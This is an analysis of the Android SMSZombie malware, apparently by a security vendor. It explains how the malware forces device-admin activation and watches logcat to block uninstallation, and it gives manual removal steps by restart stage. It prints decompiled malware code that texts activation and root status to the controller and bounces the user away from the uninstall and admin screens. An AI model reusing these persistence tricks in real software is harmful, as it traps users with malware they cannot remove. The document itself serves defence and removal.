Introduction

In recent days, many security vendors like TrustGo and Symantec have followed the tracks of and made relevant analysis on this malware. More attentions are paid to its malicious behaviors (see references). The malware lures a user to install it by pornographic pictures or wallpaper applications. An integral prompt interface will pop up after installation to induce the user to click and install malware package which will force the user to activate the device-admin so that the malware cannot be unloaded. It can monitor, auto forward and intercept the user messages with “bank” and “remittance” as keywords. The infected mobile phone can also receive upgrading message to modify the configuration file so as to change related keywords and contract numbers.

Here we focus on the protection mechanism and the corresponding removal measures. Due to its dual-protection mechanism, the solution we have thought out is to directly unload it after privilege elevation. While in the Android platform, how to detect and eliminate the increasingly stubborn malwares will be the vital business in the foreseeable future.

Self-protection Mechanism

The malware employs device-admin and logcat observer as its major protection technologies.

Activated as Device-admin in Compulsory Manner

Android has opened since Android 2.2 a set of applications called DevicePolicyManager that are used to do some management and operation like locking screen, restoring ex-factory setting, modifying passwords and other advanced ones. Before using it, the application has to be activated as device-admin. During activation, the privilege of android.permission.BIND_DEVICE_ADMIN has to be declared in the Manifest and related operations like receiver have to be registered. The message of android.app.action.ADD_DEVICE_ADMIN has to be sent to open the corresponding activation interface. Only when the user clicks the activation operation, can the system agree to activate the application as device-admin. Once the device-admin is activated, the application will not be unloaded properly. Only when the device-admin is deactivated, can the application be unloaded. In normal condition, when the device-admin is activated, the application’s state can be seen in it and the deactivation operation is conducted.

In the malware, andphone will establish a deviceAdminReceiver and activate the device-admin interface through the pop-up of android.app.action.ADD_DEVICE_ADMIN. The content is “Android system service”, “Recommend activating the system service to help save your electricity to the maximum.”

protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
{
  switch (paramInt1)
  {
    default:
    case 1:
  }
  while (true)
  {
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
    return;
    if (paramInt2 == -1)
    {
      Log.v("DeviceEnable", "deviceAdmin:enable");
      if (getRootAhth())
        this.Root = "Already root";
      SmsManager.getDefault().sendTextMessage(this.haoma, null, "Has been activated," + this.Root, null, null);
      finish();
      continue;
    }
    Log.v("DeviceEnable", "deviceAdmin:disable");
    finish();
    startActivity(new Intent(this, andphone.class));
  }
}

Logcat Monitoring

Logcat monitoring is another protection mechanism of the malware. The privilege of android.permission.READ_LOGS has to be declared in the Manifest to register logcat monitoring. LogcatObserver has to be acceded to monitor logcat. The handleNewLine interface can be invoked when new logs are generated. The interface was originally used to monitor the information in logcat so as to get known in time about the real-time log in system; however, it is exploited by the malware for malicious purpose. Different programs will print different logs in conducting relevant operations. When android.intent.action.DELETE and the package of the same name are found, it represents that the user is going to unload the malware and the codes here will be triggered. Message including the content of android.intent.category.HOME will be sent to system by startActivity to force the interface back to desktop so as to prevent the user from unloading the malware.

public void handleNewLine(String paramString)
{
  new Message().obj = paramString;
  if((paramString.contains("android.intent.action.VIEWcmp=com.android.settings/.InstalledAppDetails")) || ((paramString.contains("android.intent.action.DELETE")) && (paramString.contains(getPackageName()))) || (paramString.contains("cmp=com.android.settings/.DeviceAdminSettings")) || ((paramString.contains("android.settings")) && (paramString.contains(getPackageName()))) || (paramString.contains("com.qihoo360.mobilesafe/.opti.onekey.ui.OptiOneKeyActivity")))
  {
    Intent localIntent = new Intent("android.intent.action.MAIN");
    localIntent.setFlags(268435456);
    localIntent.addCategory("android.intent.category.HOME");
    startActivity(localIntent);
  }
}

Relevant judging conditions and significations:

Self-protection Effect

The software’s logcat monitor will be triggered after the mobile phone restarts, and then the user will fail to unload the software in system.

System will try to open the interface for the malware details by clicking “Settings”->“Applications”->“Application management”->“Android system service” to trigger the corresponded keyword filter in logcat. The result is that the interface bounds back to the desktop and the user fails to unload the software.

If clicking “Setting”->“Location & security”->“Select device administrators”, the user is also unable to cancel the device-admin due to the filter to “cmp=com.android.settings/.DeviceAdminSettings”

It can be seen from the above descriptions that the software makes the first-level protection by means of device-admin and better protects itself from being unloaded in normal ways through logcat monitoring.

Simple Removal Methods

When there are no specific virus removal tools, manual operations can serve as an attempt.

Removal Before Restart

When the mobile phone is not restarted, that is, the logcat mechanism is not triggered, if smszombie is detected right now, the user can use normal ways to unload. This kind of way has no big influence on the system.

Removal After the Second Restart

When the software is restarted for the second time, the user will be forced to activate the device-admin. For the time being, the logcat monitoring is not started, it can be unloaded according to the following steps: click “Settings”->“Location and security”->“Select device administrators”→ select the software→ cancel the activation, then the unload action will succeed. This kind of way has no big influence on the system too.

Manual Removal After the Third Restart

When the device-admin is activated, if the user restarts the mobile phone, the logcat monitoring mechanism will come into effect, then the user will fail to enter the unload interface. When most common softwares are unable to be unloaded, the user can try to elevate the privilege to enter /data/app to delete the malware corresponded apk file, then restarts the mobile phone.

Privilege elevation and direct deletion of this method may have some influence on the system.

References

[1] TrustGo, http://blog.trustgo.com/smszombie/
[2] Symantec, http://www.symantec.com/security_response/writeup.jsp?docid=2012-082011-0922-99&tabid=2
[3] Device Administration, http://developer.android.com/guide/topics/admin/device-admin.html